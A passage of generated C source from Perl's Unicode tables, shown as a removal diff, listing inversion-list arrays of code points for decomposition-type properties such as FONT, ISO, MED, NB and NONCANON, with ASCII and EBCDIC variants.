0xFDB6, - 0xFDB8, - 0xFDB9, - 0xFDBA, - 0xFDBB, - 0xFDC3, - 0xFDC6, - 0xFDC8, - 0xFE82, - 0xFE83, - 0xFE84, - 0xFE85, - 0xFE86, - 0xFE87, - 0xFE88, - 0xFE89, - 0xFE8A, - 0xFE8B, - 0xFE8E, - 0xFE8F, - 0xFE90, - 0xFE91, - 0xFE94, - 0xFE95, - 0xFE96, - 0xFE97, - 0xFE9A, - 0xFE9B, - 0xFE9E, - 0xFE9F, - 0xFEA2, - 0xFEA3, - 0xFEA6, - 0xFEA7, - 0xFEAA, - 0xFEAB, - 0xFEAC, - 0xFEAD, - 0xFEAE, - 0xFEAF, - 0xFEB0, - 0xFEB1, - 0xFEB2, - 0xFEB3, - 0xFEB6, - 0xFEB7, - 0xFEBA, - 0xFEBB, - 0xFEBE, - 0xFEBF, - 0xFEC2, - 0xFEC3, - 0xFEC6, - 0xFEC7, - 0xFECA, - 0xFECB, - 0xFECE, - 0xFECF, - 0xFED2, - 0xFED3, - 0xFED6, - 0xFED7, - 0xFEDA, - 0xFEDB, - 0xFEDE, - 0xFEDF, - 0xFEE2, - 0xFEE3, - 0xFEE6, - 0xFEE7, - 0xFEEA, - 0xFEEB, - 0xFEEE, - 0xFEEF, - 0xFEF0, - 0xFEF1, - 0xFEF2, - 0xFEF3, - 0xFEF6, - 0xFEF7, - 0xFEF8, - 0xFEF9, - 0xFEFA, - 0xFEFB, - 0xFEFC, - 0xFEFD -}; - -static const UV PL_DT__FONT_invlist[] = { /* for all charsets */ - 135, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2102, - 0x2103, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2128, - 0x2129, - 0x212C, - 0x212E, - 0x212F, - 0x2132, - 0x2133, - 0x2135, - 0x2139, - 0x213A, - 0x213C, - 0x2141, - 0x2145, - 0x214A, - 0xFB20, - 0xFB2A, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_DT__FRA_invlist[] = { /* for ASCII/Latin1 */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xBC, - 0xBF, - 0x2150, - 0x2160, - 0x2189, - 0x218A -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_DT__FRA_invlist[] = { /* for EBCDIC 1047 */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB7, - 0xBA, - 0x2150, - 0x2160, - 0x2189, - 0x218A -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_DT__FRA_invlist[] = { /* for EBCDIC 037 */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB7, - 0xBA, - 0x2150, - 0x2160, - 0x2189, - 0x218A -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_DT__INIT_invlist[] = { /* for all charsets */ - 151, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xFB54, - 0xFB55, - 0xFB58, - 0xFB59, - 0xFB5C, - 0xFB5D, - 0xFB60, - 0xFB61, - 0xFB64, - 0xFB65, - 0xFB68, - 0xFB69, - 0xFB6C, - 0xFB6D, - 0xFB70, - 0xFB71, - 0xFB74, - 0xFB75, - 0xFB78, - 0xFB79, - 0xFB7C, - 0xFB7D, - 0xFB80, - 0xFB81, - 0xFB90, - 0xFB91, - 0xFB94, - 0xFB95, - 0xFB98, - 0xFB99, - 0xFB9C, - 0xFB9D, - 0xFBA2, - 0xFBA3, - 0xFBA8, - 0xFBA9, - 0xFBAC, - 0xFBAD, - 0xFBD5, - 0xFBD6, - 0xFBE6, - 0xFBE7, - 0xFBE8, - 0xFBE9, - 0xFBF8, - 0xFBF9, - 0xFBFB, - 0xFBFC, - 0xFBFE, - 0xFBFF, - 0xFC97, - 0xFCDF, - 0xFD2D, - 0xFD34, - 0xFD50, - 0xFD51, - 0xFD52, - 0xFD58, - 0xFD59, - 0xFD5A, - 0xFD5C, - 0xFD5E, - 0xFD60, - 0xFD62, - 0xFD63, - 0xFD64, - 0xFD65, - 0xFD66, - 0xFD68, - 0xFD69, - 0xFD6B, - 0xFD6C, - 0xFD6D, - 0xFD6E, - 0xFD70, - 0xFD71, - 0xFD72, - 0xFD74, - 0xFD77, - 0xFD78, - 0xFD7D, - 0xFD7E, - 0xFD83, - 0xFD84, - 0xFD86, - 0xFD87, - 0xFD88, - 0xFD8B, - 0xFD8C, - 0xFD90, - 0xFD92, - 0xFD96, - 0xFD98, - 0xFD99, - 0xFD9D, - 0xFD9E, - 0xFDB4, - 0xFDB6, - 0xFDB8, - 0xFDB9, - 0xFDBA, - 0xFDBB, - 0xFDC3, - 0xFDC6, - 0xFE8B, - 0xFE8C, - 0xFE91, - 0xFE92, - 0xFE97, - 0xFE98, - 0xFE9B, - 0xFE9C, - 0xFE9F, - 0xFEA0, - 0xFEA3, - 0xFEA4, - 0xFEA7, - 0xFEA8, - 0xFEB3, - 0xFEB4, - 0xFEB7, - 0xFEB8, - 0xFEBB, - 0xFEBC, - 0xFEBF, - 0xFEC0, - 0xFEC3, - 0xFEC4, - 0xFEC7, - 0xFEC8, - 0xFECB, - 0xFECC, - 0xFECF, - 0xFED0, - 0xFED3, - 0xFED4, - 0xFED7, - 0xFED8, - 0xFEDB, - 0xFEDC, - 0xFEDF, - 0xFEE0, - 0xFEE3, - 0xFEE4, - 0xFEE7, - 0xFEE8, - 0xFEEB, - 0xFEEC, - 0xFEF3, - 0xFEF4 -}; - -static const UV PL_DT__ISO_invlist[] = { /* for all charsets */ - 197, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xFB50, - 0xFB51, - 0xFB52, - 0xFB53, - 0xFB56, - 0xFB57, - 0xFB5A, - 0xFB5B, - 0xFB5E, - 0xFB5F, - 0xFB62, - 0xFB63, - 0xFB66, - 0xFB67, - 0xFB6A, - 0xFB6B, - 0xFB6E, - 0xFB6F, - 0xFB72, - 0xFB73, - 0xFB76, - 0xFB77, - 0xFB7A, - 0xFB7B, - 0xFB7E, - 0xFB7F, - 0xFB82, - 0xFB83, - 0xFB84, - 0xFB85, - 0xFB86, - 0xFB87, - 0xFB88, - 0xFB89, - 0xFB8A, - 0xFB8B, - 0xFB8C, - 0xFB8D, - 0xFB8E, - 0xFB8F, - 0xFB92, - 0xFB93, - 0xFB96, - 0xFB97, - 0xFB9A, - 0xFB9B, - 0xFB9E, - 0xFB9F, - 0xFBA0, - 0xFBA1, - 0xFBA4, - 0xFBA5, - 0xFBA6, - 0xFBA7, - 0xFBAA, - 0xFBAB, - 0xFBAE, - 0xFBAF, - 0xFBB0, - 0xFBB1, - 0xFBD3, - 0xFBD4, - 0xFBD7, - 0xFBD8, - 0xFBD9, - 0xFBDA, - 0xFBDB, - 0xFBDC, - 0xFBDD, - 0xFBDF, - 0xFBE0, - 0xFBE1, - 0xFBE2, - 0xFBE3, - 0xFBE4, - 0xFBE5, - 0xFBEA, - 0xFBEB, - 0xFBEC, - 0xFBED, - 0xFBEE, - 0xFBEF, - 0xFBF0, - 0xFBF1, - 0xFBF2, - 0xFBF3, - 0xFBF4, - 0xFBF5, - 0xFBF6, - 0xFBF7, - 0xFBF9, - 0xFBFA, - 0xFBFC, - 0xFBFD, - 0xFC00, - 0xFC64, - 0xFCF5, - 0xFD11, - 0xFD3D, - 0xFD3E, - 0xFDF0, - 0xFDFD, - 0xFE70, - 0xFE71, - 0xFE72, - 0xFE73, - 0xFE74, - 0xFE75, - 0xFE76, - 0xFE77, - 0xFE78, - 0xFE79, - 0xFE7A, - 0xFE7B, - 0xFE7C, - 0xFE7D, - 0xFE7E, - 0xFE7F, - 0xFE80, - 0xFE82, - 0xFE83, - 0xFE84, - 0xFE85, - 0xFE86, - 0xFE87, - 0xFE88, - 0xFE89, - 0xFE8A, - 0xFE8D, - 0xFE8E, - 0xFE8F, - 0xFE90, - 0xFE93, - 0xFE94, - 0xFE95, - 0xFE96, - 0xFE99, - 0xFE9A, - 0xFE9D, - 0xFE9E, - 0xFEA1, - 0xFEA2, - 0xFEA5, - 0xFEA6, - 0xFEA9, - 0xFEAA, - 0xFEAB, - 0xFEAC, - 0xFEAD, - 0xFEAE, - 0xFEAF, - 0xFEB0, - 0xFEB1, - 0xFEB2, - 0xFEB5, - 0xFEB6, - 0xFEB9, - 0xFEBA, - 0xFEBD, - 0xFEBE, - 0xFEC1, - 0xFEC2, - 0xFEC5, - 0xFEC6, - 0xFEC9, - 0xFECA, - 0xFECD, - 0xFECE, - 0xFED1, - 0xFED2, - 0xFED5, - 0xFED6, - 0xFED9, - 0xFEDA, - 0xFEDD, - 0xFEDE, - 0xFEE1, - 0xFEE2, - 0xFEE5, - 0xFEE6, - 0xFEE9, - 0xFEEA, - 0xFEED, - 0xFEEE, - 0xFEEF, - 0xFEF0, - 0xFEF1, - 0xFEF2, - 0xFEF5, - 0xFEF6, - 0xFEF7, - 0xFEF8, - 0xFEF9, - 0xFEFA, - 0xFEFB, - 0xFEFC -}; - -static const UV PL_DT__MED_invlist[] = { /* for all charsets */ - 109, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xFB55, - 0xFB56, - 0xFB59, - 0xFB5A, - 0xFB5D, - 0xFB5E, - 0xFB61, - 0xFB62, - 0xFB65, - 0xFB66, - 0xFB69, - 0xFB6A, - 0xFB6D, - 0xFB6E, - 0xFB71, - 0xFB72, - 0xFB75, - 0xFB76, - 0xFB79, - 0xFB7A, - 0xFB7D, - 0xFB7E, - 0xFB81, - 0xFB82, - 0xFB91, - 0xFB92, - 0xFB95, - 0xFB96, - 0xFB99, - 0xFB9A, - 0xFB9D, - 0xFB9E, - 0xFBA3, - 0xFBA4, - 0xFBA9, - 0xFBAA, - 0xFBAD, - 0xFBAE, - 0xFBD6, - 0xFBD7, - 0xFBE7, - 0xFBE8, - 0xFBE9, - 0xFBEA, - 0xFBFF, - 0xFC00, - 0xFCDF, - 0xFCF5, - 0xFD34, - 0xFD3C, - 0xFE71, - 0xFE72, - 0xFE77, - 0xFE78, - 0xFE79, - 0xFE7A, - 0xFE7B, - 0xFE7C, - 0xFE7D, - 0xFE7E, - 0xFE7F, - 0xFE80, - 0xFE8C, - 0xFE8D, - 0xFE92, - 0xFE93, - 0xFE98, - 0xFE99, - 0xFE9C, - 0xFE9D, - 0xFEA0, - 0xFEA1, - 0xFEA4, - 0xFEA5, - 0xFEA8, - 0xFEA9, - 0xFEB4, - 0xFEB5, - 0xFEB8, - 0xFEB9, - 0xFEBC, - 0xFEBD, - 0xFEC0, - 0xFEC1, - 0xFEC4, - 0xFEC5, - 0xFEC8, - 0xFEC9, - 0xFECC, - 0xFECD, - 0xFED0, - 0xFED1, - 0xFED4, - 0xFED5, - 0xFED8, - 0xFED9, - 0xFEDC, - 0xFEDD, - 0xFEE0, - 0xFEE1, - 0xFEE4, - 0xFEE5, - 0xFEE8, - 0xFEE9, - 0xFEEC, - 0xFEED, - 0xFEF4, - 0xFEF5 -}; - -static const UV PL_DT__NAR_invlist[] = { /* for all charsets */ - 13, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xFF61, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE8, - 0xFFEF -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_DT__NB_invlist[] = { /* for ASCII/Latin1 */ - 11, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA0, - 0xA1, - 0xF0C, - 0xF0D, - 0x2007, - 0x2008, - 0x2011, - 0x2012, - 0x202F, - 0x2030 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_DT__NB_invlist[] = { /* for EBCDIC 1047 */ - 11, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x42, - 0xF0C, - 0xF0D, - 0x2007, - 0x2008, - 0x2011, - 0x2012, - 0x202F, - 0x2030 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_DT__NB_invlist[] = { /* for EBCDIC 037 */ - 11, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x42, - 0xF0C, - 0xF0D, - 0x2007, - 0x2008, - 0x2011, - 0x2012, - 0x202F, - 0x2030 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_DT__NONCANON_invlist[] = { /* for ASCII/Latin1 */ - 373, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA0, - 0xA1, - 0xA8, - 0xA9, - 0xAA, - 0xAB, - 0xAF, - 0xB0, - 0xB2, - 0xB6, - 0xB8, - 0xBB, - 0xBC, - 0xBF, - 0x132, - 0x134, - 0x13F, - 0x141, - 0x149, - 0x14A, - 0x17F, - 0x180, - 0x1C4, - 0x1CD, - 0x1F1, - 0x1F4, - 0x2B0, - 0x2B9, - 0x2D8, - 0x2DE, - 0x2E0, - 0x2E5, - 0x37A, - 0x37B, - 0x384, - 0x385, - 0x3D0, - 0x3D3, - 0x3D5, - 0x3D7, - 0x3F0, - 0x3F3, - 0x3F4, - 0x3F6, - 0x3F9, - 0x3FA, - 0x587, - 0x588, - 0x675, - 0x679, - 0xE33, - 0xE34, - 0xEB3, - 0xEB4, - 0xEDC, - 0xEDE, - 0xF0C, - 0xF0D, - 0xF77, - 0xF78, - 0xF79, - 0xF7A, - 0x10FC, - 0x10FD, - 0x1D2C, - 0x1D2F, - 0x1D30, - 0x1D3B, - 0x1D3C, - 0x1D4E, - 0x1D4F, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1DC0, - 0x1E9A, - 0x1E9B, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC1, - 0x1FFE, - 0x1FFF, - 0x2002, - 0x200B, - 0x2011, - 0x2012, - 0x2017, - 0x2018, - 0x2024, - 0x2027, - 0x202F, - 0x2030, - 0x2033, - 0x2035, - 0x2036, - 0x2038, - 0x203C, - 0x203D, - 0x203E, - 0x203F, - 0x2047, - 0x204A, - 0x2057, - 0x2058, - 0x205F, - 0x2060, - 0x2070, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A8, - 0x20A9, - 0x2100, - 0x2104, - 0x2105, - 0x2108, - 0x2109, - 0x2114, - 0x2115, - 0x2117, - 0x2119, - 0x211E, - 0x2120, - 0x2123, - 0x2124, - 0x2125, - 0x2128, - 0x2129, - 0x212C, - 0x212E, - 0x212F, - 0x2132, - 0x2133, - 0x213A, - 0x213B, - 0x2141, - 0x2145, - 0x214A, - 0x2150, - 0x2180, - 0x2189, - 0x218A, - 0x222C, - 0x222E, - 0x222F, - 0x2231, - 0x2460, - 0x24EB, - 0x2A0C, - 0x2A0D, - 0x2A74, - 0x2A77, - 0x2C7C, - 0x2C7E, - 0x2D6F, - 0x2D70, - 0x2E9F, - 0x2EA0, - 0x2EF3, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x3000, - 0x3001, - 0x3036, - 0x3037, - 0x3038, - 0x303B, - 0x309B, - 0x309D, - 0x309F, - 0x30A0, - 0x30FF, - 0x3100, - 0x3131, - 0x318F, - 0x3192, - 0x31A0, - 0x3200, - 0x321F, - 0x3220, - 0x3248, - 0x3250, - 0x327F, - 0x3280, - 0x32FF, - 0x3300, - 0x3400, - 0xA69C, - 0xA69E, - 0xA770, - 0xA771, - 0xA7F8, - 0xA7FA, - 0xAB5C, - 0xAB60, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB20, - 0xFB2A, - 0xFB4F, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFD, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE45, - 0xFE47, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE73, - 0xFE74, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F150, - 0x1F16A, - 0x1F16C, - 0x1F190, - 0x1F191, - 0x1F200, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_DT__NONCANON_invlist[] = { /* for EBCDIC 1047 */ - 379, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x42, - 0x9A, - 0x9C, - 0x9D, - 0x9E, - 0xA0, - 0xA1, - 0xB7, - 0xBA, - 0xBB, - 0xBD, - 0xBE, - 0xBF, - 0xDA, - 0xDB, - 0xEA, - 0xEB, - 0xFA, - 0xFB, - 0x132, - 0x134, - 0x13F, - 0x141, - 0x149, - 0x14A, - 0x17F, - 0x180, - 0x1C4, - 0x1CD, - 0x1F1, - 0x1F4, - 0x2B0, - 0x2B9, - 0x2D8, - 0x2DE, - 0x2E0, - 0x2E5, - 0x37A, - 0x37B, - 0x384, - 0x385, - 0x3D0, - 0x3D3, - 0x3D5, - 0x3D7, - 0x3F0, - 0x3F3, - 0x3F4, - 0x3F6, - 0x3F9, - 0x3FA, - 0x587, - 0x588, - 0x675, - 0x679, - 0xE33, - 0xE34, - 0xEB3, - 0xEB4, - 0xEDC, - 0xEDE, - 0xF0C, - 0xF0D, - 0xF77, - 0xF78, - 0xF79, - 0xF7A, - 0x10FC, - 0x10FD, - 0x1D2C, - 0x1D2F, - 0x1D30, - 0x1D3B, - 0x1D3C, - 0x1D4E, - 0x1D4F, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1DC0, - 0x1E9A, - 0x1E9B, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC1, - 0x1FFE, - 0x1FFF, - 0x2002, - 0x200B, - 0x2011, - 0x2012, - 0x2017, - 0x2018, - 0x2024, - 0x2027, - 0x202F, - 0x2030, - 0x2033, - 0x2035, - 0x2036, - 0x2038, - 0x203C, - 0x203D, - 0x203E, - 0x203F, - 0x2047, - 0x204A, - 0x2057, - 0x2058, - 0x205F, - 0x2060, - 0x2070, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A8, - 0x20A9, - 0x2100, - 0x2104, - 0x2105, - 0x2108, - 0x2109, - 0x2114, - 0x2115, - 0x2117, - 0x2119, - 0x211E, - 0x2120, - 0x2123, - 0x2124, - 0x2125, - 0x2128, - 0x2129, - 0x212C, - 0x212E, - 0x212F, - 0x2132, - 0x2133, - 0x213A, - 0x213B, - 0x2141, - 0x2145, - 0x214A, - 0x2150, - 0x2180, - 0x2189, - 0x218A, - 0x222C, - 0x222E, - 0x222F, - 0x2231, - 0x2460, - 0x24EB, - 0x2A0C, - 0x2A0D, - 0x2A74, - 0x2A77, - 0x2C7C, - 0x2C7E, - 0x2D6F, - 0x2D70, - 0x2E9F, - 0x2EA0, - 0x2EF3, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x3000, - 0x3001, - 0x3036, - 0x3037, - 0x3038, - 0x303B, - 0x309B, - 0x309D, - 0x309F, - 0x30A0, - 0x30FF, - 0x3100, - 0x3131, - 0x318F, - 0x3192, - 0x31A0, - 0x3200, - 0x321F, - 0x3220, - 0x3248, - 0x3250, - 0x327F, - 0x3280, - 0x32FF, - 0x3300, - 0x3400, - 0xA69C, - 0xA69E, - 0xA770, - 0xA771, - 0xA7F8, - 0xA7FA, - 0xAB5C, - 0xAB60, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB20, - 0xFB2A, - 0xFB4F, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFD, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE45, - 0xFE47, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE73, - 0xFE74, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F150, - 0x1F16A, - 0x1F16C, - 0x1F190, - 0x1F191, - 0x1F200, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_DT__NONCANON_invlist[] = { /* for EBCDIC 037 */ - 377, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, 